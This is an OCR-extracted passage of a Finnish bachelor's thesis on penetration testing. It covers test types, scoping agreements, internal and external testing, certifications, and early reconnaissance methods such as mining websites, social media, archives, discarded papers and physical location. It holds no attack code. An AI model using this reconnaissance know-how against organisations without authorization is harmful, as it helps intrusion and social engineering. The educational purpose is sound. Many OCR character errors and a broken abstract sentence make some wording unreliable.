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Tyon tarkoituksena oli tuoda esille tunkeutumistestaukseen liittyvaa teoriaa ja kéytantei-
t4, jotta lukijalle muodostuu kasitys tunkeutumistestauksesta. Teoria osuus kostuu tun-
keutumistestauksen maaritelmistd seka testaajan ammattitaidon kuvauksen. Tunkeutu-
mistestaus kdydaén lapi painottaen Windows-jarjestelmid. Teoriaa on sovellettu kaytén-
toon todelliseen verkkoon tehdylla haavoittuvuustestauksella.

Kaytdnnon osuuden testaus osoitti, ettd jarjestelméstd kuin jarjestelmastd on mahdolli-
suus saada tietoja sovelluksilla, joista suurin oli ilmaisia, helposti saatavilla olevia. Mo-
ni sovellus oli kaytettavissd englanninkielisend. Kohdejérjestelméstd saatiin keréattya
DNS-tietoja, joiden pohjalta suoritettu porttiskannaus paljasti palveluita ja niiden versi-
oita. Testauksen puitteissa suoritettiin myds kayttojarjestelman tunnistusta, jonka aikana
tunnistettiin useita kayttojarjestelmia, joista jotkin sijaitsivat verkon laitteilla. Testauk-
sen osana testattiin kohde verkon kestavyytta erilaisten hyokkaysten aikana. Kéytetyt
hyokkaykset katkaisivat verkon toiminnan.

Tunkeutumistestaus on oleellinen osa tietoturvaa, mutta vain oikein kéytettynd. Se on
vahiten tunnettu tietoturvallisuuden alue, joka johtuu yhtéldisyyksista hakkerointiin.
Hakkerointi puolestaan yhdistetddn rikolliseen toimintaan. Tunkeutumistestaus on kui-
tenkin tehokas osa tietoturvallisuutta, jos siitd vastaavat oikeat ihmiset, joilla on oikea
koulutus.
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The purpose of this thesis was to bring out theory and practices concerning penetration
testing. This provides the reader an understanding of the penetration testing process.
The theory part consists of a discussion of what penetration testing means and what is
required of an penetration tester, and a description of how penetration testing is imple-
mented with emphasis on Windows systems. Theory part of the thesis was put into prac-
tice by means of doing a vulnerability analysis of a real network.

The practical part of the thesis proved that you can get information out of almost any
network with applications that are a free and easily available. Most applications can be
used if the user has some knowledge of the English language. The practical part consist-
ed of information gathering by means of DNS information, port scanning, service iden-
tification, version identification and operating system identification. Information gather-
ing revealed several crucial pieces of information on which further testing could be
based on. Testing also included attacking the target to see how it holds up under attack.
It was found that the services of the target system almost immediately.

Penetration testing is an integral part of information security but only if it is used
properly. It is one of the lesser known areas of information security. Much of this is due
to its resemblance to hacking. This in turn is associated with criminal activities. Penetra-
tion testing however is an effective part of information security if the right people with
the right kind of training are in charge of it.

Key words: penetration testing, hackers, hacking, information security



SISALLYS
LYHENTEET JA TERMIT ...oooi ettt 5
1 JOHDANTO ..ottt ettt bbbt e e bt esbeabe b e s nenneeneas 8
2 Tunkeutumistestauksen perusteet............... Virhe. Kirjanmerkkiéa ei ole maaritetty.
2.1 TunKeutumiSteStAUSTYYPIL .......coveiiiiieie et 9
2.2 TeStaukSen MAEANTIEIY .......oiivieiie e 9
2.3 Sisainen ja ulkoinen tuNKeUtUMISTESTAUS .........ccccvveririerinieieese e 11
2.3.1 UlKkoinen tunKeutUMISIESTAUS .........ccveierieriesieiiesieseeee e 12
2.3.2  SiISAINEN tUNKEULUMISTAUS ......oviiiieiiieieiie e 12
2.4 Mité vaaditaan testauksen suorittajalta ...........ccocooeiiiinieniicie e 13
2.5 AMMALITAITO ..ot 13
3 Tunkeutumistestauksen vaiheet.................. Virhe. Kirjanmerkkia ei ole maaritetty.
B0t A TU [ T 1= [ SR 15
3.2 TULKIIMUS .ottt b b eneeneas 15
3.2.1 Jarjestelman jalanjaljet..........ccooiiiiiiiiicie 15
3.2.2  SKANNAUS ....eeveerieeiiesieeieetiesiee e eseessaesteeseessaesseaseesseesseensesseesseensessessseensenns 25
3.2.3 Kayttojarjestelman tunnistaminen..........cccocveveeiieiieieese e 26
3.2.4 Haavoittuvuuksien analySointi .........ccccevvieeiiniiniienese e 27
3.3 HYOKKAYS ...t 35
3.3.1 Todentamattomat hyOKKAYKSEL ..........ccocvveiieiiiecee e 35
3.3.2 Todennetut NYOKKAYKSEL ..........ccviiiiiieieiecsee e 40
34 RAPOMOINTE c.evviieiiite sttt se bbb eneas 46
4 WPK-verkon haavoittuvuuSanalyysi ........cccccveiieiiiiiiie i 48
4.1 SUUNNITEEIU ..ot nns 48
O I =1 0] 1= 0] =T -\ S 48
4.3 LANIVErKON UNAL.......ooiiiiiiice s 53
4.3.1 SMURF NYOKKAYS .......ociiiiieiieieieie e 53
4.3.2 SYN flood NYOKKAYS .......cveivieiecieciece e 54
4.3.3 PaKettieNKaapPaUS ........cccveeirieiiiesiee e e siee st sieeste s e sae e sra e ae e sreesaeenree s 56
4.3.4 Mies VAIISSA NYOKKAYS........ccviiiiiiiieec e 58
ST 0] 1o [T - PSR R PP TRPRRPRPR 59
LAHTEET ..ottt ettt ettt ettt ettt en sttt s e 60
0 O I SRS 67
Liite 1: DNSIecon tUIOKSEL.........coveiiiiiiiiiisee s 67

Liite 2: FIBICE TUIOKSEL ..o e 68



LYHENTEET JA TERMIT

ACL

AD

ARIN

ARP

DC

DF

DHCP

DNS

DOS

ICANN

ICMP

IDS

IKE

IPS

Access Control List. Reitittimilla kaytettava lista, joka sallii tai estdd paa-
syn verkkoon.

Active Directory. Microsoftin hakemistopalvelu Windows toimialueita
varten.

American Registry for Internet Numbers. Yksi viidestd ICANN:n alaisesta
RIR:st4. Vastaa Pohjois-Amerikan alueen ja joistakin Karibian sek& Poh-
jois-Atlannin saarien IP-osoitteista.

Address Resolution Protocol. Protokolla, joka selvittdd MAC-osoitteen IP-
osoitteen perusteella.

Domain Controller. AD:ssa toimiva palvelin, joka vastaa esim. kirjautumi-
siin.

Don’t Fragment. IPv4-paketttiin liittyva lippu, joka estda paketiin pilkko-
misen matkan varrella.

Dynamic Host Configuration Protocol. Protokolla, jonka avulla 1Pv4 ym-
paristdssa annetaan tietokoneille ja muille laitteille automaattisesti IP-
osoitetiedot.

Domain Name System. Jérjestelmd, joka vastaa WWW-osoitteiden k&an-
tamisesté IP-osoitteiksi.

Denial Of Service. Verkkohyokkays, jossa eri keinoin tehdaan kohteen
tarjoama palvelu kayttokelvottomaksi.

Internet Corporation for Assigned Names and Numbers. Internetin toimin-
nasta vastaava katto-organisaatio.

Internet Contol Message Protocol. Protokolla, jota laitteet kayttavat esim.
virheilmoitusten vélittdmiseen. Myds esim. ping kéayttdad ICMP:té liiken-
teensa kuljettamiseen.

Intrusion Detection System. Laite tai sovellus, joka tarkkailee verkkoa
tavallisuudesta poikkeavan liikenteen varalta.

Internet Key Exchange. IPsec:n kayttaméa protokolla tietoturvallisten yhte-
yksien muodostamiseen.

Intrusion Prevention System. Laite, joka tarkkailee verkkoa ja yrittad estaa

sinne kuulumatonta liikennetta.



IPSec

LDAP
LM

LPT

LSA

NTLM

RDC

RID

RIPE

RIR

RPC

SAM

SID

SMB

SOA

TFTP
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Internet Protocol Security. Protokollaperhe, jonka avulla voidaan salata ja
todentaa tavanomaista IP liikennetta.

Lightweight Directory Access Protocol. Hakemistojen yhteysprotokolla.
LAN Manager. Microsoftin ja 3Com:n yhteistydssé kehittdma verkkokéayt-
tojarjestelma, jonka salasanojen todennus on haavoittuvainen.

Licensed Penetration Tester. EC-Council:n myontdama tietoturva-alan
sertifikaatti.

Local Security Authority. Windows kéyttojarjestelmén osa, joka vastaa
Kirjautuvien kayttajien todentamisesta, salasanojen muutoksista ja paasy
valtuuksien luomisesta..

NT LAN Manager. Kokoelma Microsoftin tietoturvaprotokollia, jotka
tarjoavat todennuksen, koskemattomuuden ja luottamuksellisuuden.
Remote Desktop Connection. Microsoftin Remote Desktop Services
asiakassovellus.

Relative IDentifier. Microsoftin AD:hen liittyva vaihtuvan pituinen nume-
rosarja, joka annetaan objektille sen luonnin yhteydessa ja sitd kéytetadén
osana SID:a.

Réseaux IP Européens. Yksi viidestd ICANN:n alaisesta RIR:std. RIPE
vastaa Euroopan, Vendjan, L&hi-1déan ja Keski-Aasian IP-osoitteista.
Regional Internet Registries. Organisaatio, joka vastaa omalla alueellaan
IP-osoitteiden ja AS-numeroiden jakamisesta seké rekisteréinnnista.
Microsoft Remote Procedure Call. Keino, joka mahdollistaa sovelluksen
kaynnistaa prosesseja eténa, jotka kuitenkin nayttavat kuitenkin paikallisil-
ta prosesseilta.

Security Accounts Manager. Tiedosto, joka sisaltdd Windows kayttajien
salasanojen tarkisteet.

Security Identifier. Windows kayttojarjestelmén kéayttajille, kayttajaryh-
mille tai muille todennettaville osille annettava tunniste, joka koostuus
mm. RID:sta.

Server Message Block. Sovellustason protokolla, jota kdytetddn mm. tie-
dostojen ja tulostimien jakamiseen verkossa.

Start Of Authority. DNS tietue, joka kertoo esimerkiksi ensijaisen DNS-
palvelimen.

Trivial File Transfer Protocol. Tiedostojen siirtoprotokolla, jota kaytetaan

usein asetus- tai k&ynnistystiedostojen siirtdmiseen automaattisesti.



TS

TTL

VNC
VPN
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Terminal Services. Nykyaan Remote Desktop Service. Mahdollistaa so-
vellusten ja tietojen kayton etayhteyden yli.

Time To Live. Arvo, joka kertoo kuinka kauan paketti voi kiertd4 verkos-
sa.

Virtual Network Computing. Tietokoneiden etéhallintakeino.

Virtual Private Network. Keino, jolla luodaan yksityinen verkko julkisen

verkon rinnalle.



1 JOHDANTO

Tietoturvallisuutta miettiessa tulee varmasti mieleen tietoturvapolitiikka, palomuurit,
virustutkat ja muita melko perinteisia tietoturvallisuuteen liitettavia elementteja. Nama
ovatkin tietoturvallisuuden olennaisia osia, joita ilman ei tietoturvallista ympéristoa voi-
si muodostaa. Tehtyjen tietoturvaratkaisujen toimivuudesta voidaan kuitenkin esittad
vain hataria arvioita, silla ala kehittyy jatkuvasti. Siksi tietoturvaratkaisut tulisi testata

perusteellisesti. Tall6in puhutaan tunkeutumistestauksesta.

Taman tyon tavoitteena on esitelld tunkeutumistestausta. Tavoite saavutetaan esittele-
maélla tunkeutumistestauksen kaytanteita ja teoriaa, jotta aiheesta voisi muodostaa katta-
van késityksen. Teoriaa sovelletaan k&ytantoon suorittamalla haavoittuvuustestaus oike-

aan verkkoon.

Tyon tuloksia voivat hyodyntédd kaikenkokoiset organisaatiot tietoturvallisuuden tilaan
katsomatta, silla mik&an jarjestelma ei ole taydellinen. Tuloksien avulla voisi esittd
oikeita kysymyksia, jos tietoturvaty®d on ulkoistettu, ja toiminnassa olevien jarjestelmien

toimintaa voidaan tarkastaa ja syventaa.

Tyossé ei késitella tietoturvapolitiikan muodostamista, palomuurien, virustutkien yms.
sovellusten asentamista, vaikkakin niiden kdyttod kommentoidaan, sikali kun se on tar-
peellista asian esittdmisen kannalta. Perusasioita, kuten esimerkiksi IP-osoitteiden toi-

mintaa, kasitelladn vain, silla tasolla minka varsinaisen aiheen esittdminen vaatii.

Tunkeutumistestaus voi eri yhteyksissa ké&sittdd monia eri asioita, kuten esimerkiksi
erilaisten langattomien teknologioiden tai fyysisten suojakeinojen testausta. (Federal
Office for Information Security 2003, 7; NIST 2008, 4-6 — 4-10.) Tassé tyossa keski-
tytddn tunkeutumistestaukseen silta osin, kun se koskee l&hiverkon testaamista.



2 TUNKEUTUMISTESTAUKSEN PERUSTEET

Tunkeutumistestauksella tarkoitetaan kohdeorganisaation verkon jérjestelmallista tes-
taamista tietoturva-aukkojen paljastamiseksi. Testaamisen aikana simuloidaan erilaisia
hyokkayksia kohdeverkkoon. Karkealla tasolla testaamisen ja hakkeroinnin ero on siing,
mité tiedolla tehd&an ja onko asiasta sovittu asianmukaisesti etukéteen. (Klevinsky, La-
liberte & Gupta 2002, 9,19.)

2.1 Tunkeutumistestaustyypit

Tunkeutumistestaus voi olla ennalta ilmoitettua tai ilmoittamatonta. Se kumpaa
tyyppia kaytetaan, riippuu siitd, mitd halutaan testata. Ennalta ilmoitetussa testissa koh-
teena on itse jarjestelmd, ja siind tyoskennellddn asiakkaan tietoturvasta vastaavien
kanssa yhteistydssé, usein keskittyen kohdeverkon tarkeimpiin osiin. Taméan kaltaisen
testin etuna on my0s se ettd organisaation tietoturvasta vastaavilla ihmisilla on mahdol-
lisuus samalla oppia. (Klevinsky ym. 2002, 25 — 27; Kennedy, O’Gorman, Kearns &
Aharoni 2011, 5.)

IiImoittamattomassa testauksessa sen parametreista ja ajankohdasta eivat tieda muut kuin
yrityksen ylimmét tahot. Tamén kaltaisessa testauksessa tarkoitus onkin testata yrityk-
sen tietoturvasta vastaavan henkilokunnan toimintaa tilanteessa, jossa jarjestelmaa vas-
taan hyokataan, sekd voimassa olevien tietoturvaratkaisujen kestavyyttd. Toisin kuin
ennalta ilmoitetussa testauksessa ilmoittamattomassa joudutaan testaukseen vaadittavat
tiedot kerd&maan itse jarjestelmésté ja muista tietoléhteista. Tasta johtuen tdma testaus-
tyyppi vaatii testaajalta enemmaén taitoja. Ilmoittamaton testi on l&hempéna tositilannet-
ta, ja sitd kdytetddnkin enemman tésté syystd. Usein tdman testauksen tulokset ovat pal-
jon kayttokelpoisempia kuin ilmoitetun testauksen, silla laitteiden ja sovellusten liséksi
testataan tietoturvaratkaisujen toimivuus. (Klevinsky ym. 2002, 25 — 27; Kennedy ym.
2011, 5.)

2.2 Testauksen maarittely

Testauksen aikana testaaja paasee kasiksi asiakkaan tietoihin, jotka ovat usein arkaluon-
toisia. Testauksen médrittelyn ja varsinaisen testauksen aikana testaajalle kertyy myos
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tietoja jarjestelméan heikkouksista. Asiakas haluaa ndiden tietojen pysyvén salassa ja
tastd syystd allekirjoitetaan salassapitosopimus osana testaussopimusta. (PTES 2012;
Wai 2002, 4; Orrey, K. 2013.)

Testauksen madrittelyn tarkoituksena on antaa testaukselle rajat, jotka méaérittelevat
mité testataan sekd miten testataan. Aika on térked osa testausta ja rajojen puitteissa
silld tarkoitetaan aikavalig, jolla testaus suoritetaan. Kohdeverkosta on hyva sopia myos
ne IP-osoitteet (Internet Protocol), jotka ovat testauksessa mukana, vaikka kyse olisi
pienestd verkosta. Sama koskee myos asiakkaan toimialueita ja verkkotunnuksia. Var-
sinkin suurten asiakasorganisaatioiden tapauksessa tulee ottaa huomioon, miten organi-
saatioiden palvelut on toteutettu. Esimerkiksi jos asiakkaan tietoja on tallennettu pilvi-
palveluun, jossa samalla fyysisellda medialla sijaitsee muidenkin organisaatioiden tietoja.
Asiakkaan internetyhteydentarjoaja voi normaalisti rajoittaa testaukseen liittyvaa verk-
koliikennettd, mutta saattaa tarjota mahdollisuuksia testaamista varten. Riippuen testa-
uksen tyypistd voi olla tarpeellista maéaritelld, mit4 osia tietoturvapalveluista testataan.
Tamé on erityisen tarkeda silloin, kun tietoturvapalveluista vastaa kolmas osapuoli.
Moni asia testauksessa liittyy lakiasioihin, ja testauksen rajoja méaritellessa tdma tulee
ilmi, jos testauksen rajaamia laitteita sijaitsee toisissa maissa tai internetyhteydentarjo-
ajan tiloissa. Talldin on hyva varmistua laitteen sijaintimaan tunkeutumistestausta kos-
kevasta lainsaddannosta. (PTES 2012; Wai 2002, 4.)

Testauksen rajoja asetettaessa maaritellaan, milloin testaus alkaa ja loppuu. On myds
maariteltdva alun ja lopun vélinen osa eli se, mita testausta suoritetaan missékin vai-
heessa. Osana tata madrittelyd otetaan kantaa myos sijaintiin. Matkustaako testaaja asi-
akkaan tiloihin vai hyddynnetddnko esimerkiksi VPN-yhteytta (Virtual Private Net-
work). Saannolliset tapaamiset testauksen edistymisestd pitavat asiakkaan ajan tasalla.
Ajan ollessa merkittdva osa testauksen méaarittelyé ja asiakkaan péivittdisen toiminnan
jatkuessa testauksen ajan, on hyva maaritell& ne aikavalit pdivastd, jolloin testausta saa
suorittaa. (PTES 2012; Wai 2002, 4.)

Kaikki projektit tarvitsevat aikarajan ja rajat joissa toimia, mutta mik&an projekti ei toi-
mi ilman tavoitteita. Tunkeutumistestauksen tavoitteet liittyvat oleellisesti asiakkaan
liiketoimintaan, ei erilaisten auditointien lapaisyyn, vaikka ne voisivatkin olla syy testa-
ukselle. Tavoitteiden méaarittely on hyvé aloittaa tutkimalla, mik& on asiakkaan tietotur-

vallisuuden taso. N&in voi tarjota asiakkaalle parempaa ja tarkempaa palvelua, sill4 asi-
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akkaalla ei valttamatta ole mitaédn kasitysta tunkeutumistestauksesta. Nain ollen asiakas
saa arvokkaampaa tietoa, jos ensiksi suoritetaan vain haavoittuvuusanalyysi. (PTES
2012; Wai 2002, 4.)

Madrittelyn tukena kaytetdan usein myds kyselyitd, joiden avulla méaritellddn monia
testauksen tarkeita yksityiskohtia, kuten esim. ajankohdat, mitka keinot ovat sallittuja
testauksessa seka yleisesti testauksen syvyyttd. Joidenkin kohdeverkkojen laitteistoon
saattaa kuulua fyysisia tai softapalomuureja, IPS- tai IDS-jarjestelmia tai kuorman-
tasauslaitteita. Kaikki ndma laitteet voivat vaikuttaa testauksen suorittamiseen ja tulok-
siin ja niistd on hyva olla perilla jo testausta aloittaessa. On myos hyvin oleellista selvit-
t44 mitd saa ja mitd ei saa tehdd koneella, jonka kautta verkkoon on péasty. (PTES
2012; Federal Office for Information Security 2003, 16; The SANS Insitute 2010.)

Riippuen siitd millaista testausta tehddéan, voidaan kyselyt laajentaa kasittaméaan myods
jarjestelman yll&pitdjat, joilla monesti on kriittista tietoa jarjestelméan kunnosta ja haa-
voittuvuuksista. He tietdvét, onko kohdeverkon jarjestelmissa ké&ytdssa vanhoja sovel-
luksia tai kayttojarjestelmi&, onko kohdeverkossa sellaisia osia, jotka eivét ole organi-
saation hallinnassa, kaytetdanko sovelluksia, jotka tarkkailevat verkon toimintaa ja mit-
k& ovat kohdeverkon kriittisimmat sovellukset ja palvelimet. (PTES 2012; Stanford
University 2007.)

Jos testauksessa suoritetaan DOS-hyokkays, on tirkeda suorittaa kysely myos liiketoi-
mintayksikdiden johtajille. Ndma johtajat tietdvat tai ainakin heidan tulisi tietdd, minkéa
tiedon julkiseksi tuleminen tai jonkinasteinen tuhoutuminen olisi katastrofaalista orga-
nisaatiolle, ja he tuntevat myods ne menetelmét, joiden avulla ongelmatilanteista palau-
dutaan. (PTES 2012.)

2.3 Siséinen ja ulkoinen tunkeutumistestaus
Tunkeutumistestaus voidaan jakaa jo mainittujen tapojen lisaksi myo6s ulkoiseen ja si-

sdiseen testaukseen. Nama kaksi tyyppia voidaan molemmat suorittaa ennalta ilmoitet-

tuna tai ilmoittamattomana.
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2.3.1 Ulkoinen tunkeutumistestaus

Ulkoisen tunkeutumistestauksen tarkoituksena on tunnistaa ne haavoittuvuudet, jotka
altistavat asiakkaan verkon tai yhteydet verkon ulkopuolelle, hyokkayksille. (SANS
Institute 2002, 4.) Suurin osa tunkeutumistestauksen keinoista on kéytettavissa seka
ulkoisessa etta sisdisessa testauksessa, mutta esimerkiksi julkisten tietoldhteiden hyo-

dyntaminen on hyddyllisimmilladn ulkoisessa testauksessa.

2.3.2 Sisainen tunkeutumistaus

Sisdisessd testauksessa testaaja voi sijaita organisaation tiloissa tai testaus voidaan suo-
rittaa etdnd. Sisdisen testauksen méarittelyssé on otettava huomioon ettd monet verkon
turvallisuudesta vastaavat laitteet, kuten palomuurit ja IDS:t (Intrusion Detection Sys-
tem), on jo ohitettu. (Klevinsky ym. 2002, 91 — 92.)

Siséisessé testauksessa testauksen alkuasetelma on erilainen ja se vaihtelee tapauksit-
tain. Té&llaisia alkuasetelmia voisi esimerkiksi olla paha konsultti, vihainen tyontekija ja
eparehellinen siivooja. Pahan konsultin asetelmassa asiakkaalta pyydetdan samanlaiset
oikeudet kuin konsultille annettaisiin vastaavassa tilanteessa. Vihaisen tyontekijan ase-
telmassa kaytetddn normaaleja tyontekijoille annettavia kayttajatunnuksia. Eparehellisen
siivoojan asetelmassa kédytetddn niitd tunnuksia, jotka onnistutaan selvittdmaan. Kaytta-
jatunnusten lisaksi testaaja tarvitsee asianmukaiset henkilokortit seka kulkuluvat. Orga-
nisaation piiristd on sovittava yhteyshenkild, jonka kanssa testausta voi koordinoida,
tdma auttaa myo6s suojaamaan testaajaa perattomilta syytoksilta. (Klevinsky ym. 2002,
92.)

Pahan konsultin alkuasetelmassa testaaja asettuu asiakkaan tiloihin, johonkin erilliseen
ty6tilaan. Laitteistona toimii testaajan oma kannettava tietokone tai asiakkaan, riippuen
asiakkaan tietoturvapolitiikasta ja testauksen maarittelystd. Vihaisen tyontekijan asetel-
massa ldhdetd&n nimen mukaisesti sellaisesta tilanteesta, jossa yrityksen tydntekijakin
olisi. Eparehellisen siivoojan alkuasetelmassa kéytetddn laitteistona omaa kannettavaa
tai hyodynnetdédn asiakkaan tydasemia tydajan ulkopuolella. (Klevinsky ym. 2002, 92—
93.)
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2.4 Mita vaaditaan testauksen suorittajalta

Testaajan pitéa tuntea paljon erilaisia teknologioita: kayttojarjestelmat, reitittimet, kyt-
kimet, palomuurit, IDS, IPS, pakettianalysaattorit, auditointitytkalut ja autentikointi-
mekanismeja. Vaikka haluaisi olla asiantuntija kaikissa teknologioissa, on hyva kuiten-
kin tunnustaa omat rajansa ja olla asiantuntija muutamassa. Testaajalle on hy6tya jo
pelkédn toimintaperiaatteen ymmartamisestd, silla padsee usein jo etsimaan keinoa kysei-
sen teknologian kiertdmiseen. Teknisen tietdmyksen lisaksi testaajalle on huomattavaa
arvoa myos dokumentointi- ja projektinhallintaidoista. (Klevinsky ym. 2002, 22 — 25;
International Journal of Advanced Science and Technology 2009, 3 — 4; 0x0Qe.org |

pentesting perspective 2008.)

Tyokaluihin patee sama periaate kuin teknologioihin, niit4 on paljon ja ei ole jarkevéa
yrittdd tuntea kaikkia lapikotaisin. ”Ty6kalupakki” tuskin pysyy samana testitapauksesta
toiseen, vaan sitd muokataan kunkin tapauksen mukaan ja uusia tyokaluja 16ydettaessa.
Ihanteellisessa tilanteessa testaaja tuntee, jonkin tydkalun, jokaiseen testauksen vaihee-
seen. Riippuen siitd millaista testausta tekee, asettaa se erilaisia vaatimuksia laitteistolle.
Ihanteellinen valinta testaajalle on kannettava tietokone, silla se soveltuu erinomaisesti
sisdiseen tunkeutumistestaukseen, mutta pdytdkone soveltuu myos testaamiseen ja saat-
taa olla parempi ratkaisu joissakin tilanteissa. (Klevinsky ym. 2002, 23, 158 — 159;
International Journal of Advanced Science and Technology 2009, 4 — 8.)

Tarkedd tunkeutumistestauksen alalla tyoskenteleville on luottamus. Asiakkaiden on
voitava luottaa siihen ettd testaaja toimii eettisesti joka hetki tutkiessaan kohde jarjes-
telmaa. On testaajan tehtdva huolehtia omasta luotettavuudestaan, jota on vaikea saada
takaisin sen kerran menetettyaan. (Klevinsky ym. 2002, 24 — 25; Schreiber, S. 2009.)

2.5 Ammattitaito

IT-alalla, niin kuin monella muullakin alalla, osaamista osoitetaan erilaisilla tutkinnoilla
tai sertifikaateilla. Tassd mielessd tunkeutumistestaus ei ole mikéan poikkeus. Tunkeu-
tumistestausalalla sertifikaatteja ja niihin liittyvdd koulutusta hallinnoi mm. IACRB.
Sertifikaatteja on eritasoisia ja jossakin niissa keskitytaan esimerkiksi sovellusten tun-
keutumistestaukseen. Perustason sertifikaatti on CPT (Certified Penetration Testing),
josta jatketaan CEPT (Certified Expert Penetration Tester) sertifikaattiin. IACRB:n


http://hexesec.wordpress.com/
http://hexesec.wordpress.com/
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lisaksi sertifikaatteja myontééd esimerkiksi International Council of E-Commerce (EC-
Council) consultants, jonka sertifikaatit CEH (Certified Ethical Hacker) ja LPT (Li-
censed Penetration Tester) soveltuvat tunkeutumistestauksen alalle. Naiden kahden li-
saksi SANS myontaa tunkeutumistestausalan sertifikaatteja GIAC (Global Information
Assurance Certification) ohjelmansa kautta. (IACRB 2009; EC-Council 2013; SANS
2013; GIAC 2013.)

Edelld mainitut tahot eivét ole ainoat tahot, jotka myontdvat tunkeutumistestaus alan
sertifikaatteja. Suomesta l0ytyy ainakin Mile2:sen myontdmien sertifikaattien CPTE
(Certified Penetration Testing Engineer) ja sen jatko sertifikaatin CPTC (Certified Pe-
netration Testing Consultant) koulutusta jota jarjestdd KPMG. Se jérjestad myos koulu-
tusta CPEH (Certified Professional Ethical Hacker) sertifikaattiin liittyen. CPTE-
koulutuksessa opitaan etsimdén haavoittuvuuksia ja murtautumaan Ethernet- ja WLAN-
verkkoihin (Wireless Local Area Network), kayttdjarjestelmiin, sovelluksiin ja web-
ympadristoihin. Sertifikaatin jatkokoulutuksessa keskitytddn syventaméén aikaisemman
koulutuksen aikana opittua. (mile2 2013; KPMG 2013.)
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3 TUNKEUTUMISTESTAUKSEN VAIHEET

Tunkeutumistestaus voidaan jakaa neljaan paévaiheeseen:

1. Suunnittelu — Madritell&én testaus ja huolehditaan asianmukaisista sopimuksista.
2. Tutkimus — Kerétéén tietoja verkosta. Koostuu kolmesta osasta:
a. Jarjestelman jalanjalkien tutkiminen
b. Skannaus
c. Haavoittuvuuksien analysointi
3. Hyokkays.
a. Todentamattomat hytkkaykset
b. Todennetut hyokkaykset
c. Oikeuksien lisd&minen
4. Raportointi
(Saindane 2013, 4.)

3.1 Suunnittelu

Suunnitteluvaiheessa méaéritelldan testauksen parametrit (kts.kpl 2.2) ja huolehditaan
ettd asianmukaiset sopimukset on allekirjoitettu ennen testauksen aloittamista. Tarkan

maarittelyn avulla testaaja voi alustavasti valita testaukseen kéytettavia ohjelmistoja.

3.2 Tutkimus

Ennen kuin suoritetaan mitdén varsinaisia hyokkaystoimintoja, olisi suotavaa tuntea
kohde mahdollisimman hyvin. Kohteesta halutaan tietda ne laitteet, jotka ovat todellisia
kohteita, kohteen verkon rakenne sekd millaista liikennetta verkko sallii. Hankittujen
tietojen perusteella voi 10ytad kohteeseen sopivia hyokkayskeinoja. (Klevinsky ym.
2002, 52.)

3.2.1 Jarjestelman jalanjaljet

Tutkimus alkaa kerddmalla taustatietoja kohteesta, joille testauksen mychemmat vaiheet

perustuvat. Taustatietojen kerddminen on jarjestelmallistd toimintaa, jonka lopputulok-
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sena testaajalle muodostuu kuva kohteesta. Usein tiedon etsinta alkaa julkisesti saatavis-
ta tiedoista. Né&ihin tietoja voidaan hankkia yrityksen verkkosivuilta, sijaintitiedoista,
tyontekijoistd, ajankohtaisista tapahtumista, arkistoiduista tiedoista sek& hakukoneista ja
niihin liittyvistd tiedoista. (McClure ym.. 2012, 8 — 11.)

Yrityksen verkkosivuilta saa tietoja lukemalla niitd, mutta arvokkaita tietoja on voitu
piilottaa myo6s verkkosivujen HTML-koodin joukkoon kommenttien muodossa. Tiedon
etsintd HTML-koodin joukosta on huomattavasti tehokkaampaa, jos koko sivun lataa
itselleen, ndin materiaalin l1&pi kdynnin voi suorittaa ohjelmallisesti. Yritykset saattavat
kayttdd tunnetun www-osoitteen lisaksi muitakin osoitteita, kuten esimerkiksi http- ja
https-alkuisia sek& http://www1 yms. muunnoksia. N&itd www-osoitteita ei tule unohtaa
tiedonkeruun yhteydessa. Yrityksen resursseihin saattaa olla pdasy Internetin kautta.
Tamén kaltaisesta palvelusta toimii hyvin esimerkkind Microsoftin Outlook, joka siis
usein  loytyy  jollakin  ilmiselvalla  nimella  Internetin  kautta  esim.
https:owa.esimerkki.com tai https:outlook.esimerkki.com. Toinen esimerkki liian pal-
jastavasta nimesta on esimerkiksi https://vpn.esimerkki.fi. Namé& palvelut, riippuen kon-
figuraation tasosta, saattavat antaa paljonkin oleellista tietoa itsestaan, ja niiden olemas-
saolo on jo itsessdan téarkea tieto. (McClure ym.. 2012, 12; Sutton, E. 2013, 7; Know
The Trade 2013.)

Yritysten yhteistydkumppanit ovat myos otollinen tietoldhde, sillda yhteistydbkumppa-
neille saatetaan usein tarjota kayttoon loppupédédn yhteyksid omiin palveluihin. Naita
yhteistyokumppaneita voidaan hyddyntaa suorasti tai epasuorasti testauksen hyokkays-
vaiheessa. (McClure ym.. 2012, 13.)

Valtaosa tunkeutumistestauksesta perustuu jonkin laitteen tai sovelluksen kayttoon,
mutta tiedonkerddmiseen liittyy keinoja, joissa ei hyddynnetd kumpaakaan. Pelkastaan
yrityksen fyysinen sijainti saattaa olla todella arvokas tieto, silla sen avulla voi olla
mahdollista paasta kasiksi yrityksen roskiin heittdmiin papereihin tai muuhun materiaa-
liin, joista puolestaan voi selvitd teknisid tietoja tai muita tietoja, joita voi hyddyntéa
sosiaalisessa manipuloinnissa. Fyysisen sijainnin perusteella voisi suorittaa myos tark-
kailua seké fyysistd tunkeutumista. Naissa keinoissa on otettava huomioon testauksesta
tehty sopimus. (McClure ym.. 2012, 14 — 15; Penetration Testing Lab 2013.)
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Sosiaalisia tiedonkeruukeinoja hyddyntavat loytavat kayttokelpoisia tietoja yritysten
tyontekijoista. Yritysten verkkosivut ovat hyva ldhtokohta tiedonhankinnalle sen tyon-
tekijoistd, mutta niiden tarjoamilla tiedoilla ei vélttaméatta paase kovinkaan pitkalle. Eri-
laiset sosiaalisen median sivustot (esim. facebook ja linkedin) kelpaavat erinomaisesti
tietolahteiksi tyontekijoistd. Yrityksen tydilmoitukset saattavat paljastaa yrityksen kayt-
tdmia laitteita ja sovelluksia. Yrityksesta voi saada oleellista tietoa seuraamalla siihen
liittyvid ajankohtaisia uutisia, joista voi esimerkiksi paljastua ettd jokin palvelu on ul-
koistettu tai yhteistyon aloittaminen uuden yhteistyokumppanin kanssa. Entisten tyonte-
kijoiden yllapitdmat sivut yrityksestd, jotka eivat valttdmatta késittele yritystd hyvassa
valossa, kannattaa hyodyntéa tietolahteend. (McClure ym. 2012, 16 — 19; Know The
Trade 2013.)

Yrityksen sivuilla on joskus menneisyydessé saattanut olla testaajan (tai hyokkaajan)
kannalta tarkeitd tietoja, mutta ne on sittemmin poistettu, joka ei tarkoita etta ne olisi
menetetty. Testaajan kayttoon loytyy esimeriksi WayBack Machine palvelu (archi-
ve.org), josta voi etsié arkistoituja www-sivuja. Myds Googlen valimuistiin tallentunei-
ta www-sivuja voi saada kayttoonsé (“cache:” www-sivun osoitteen eteen). (McClure
ym.. 2012, 19 — 20; Web Applications Stack Exchange. 2012.)

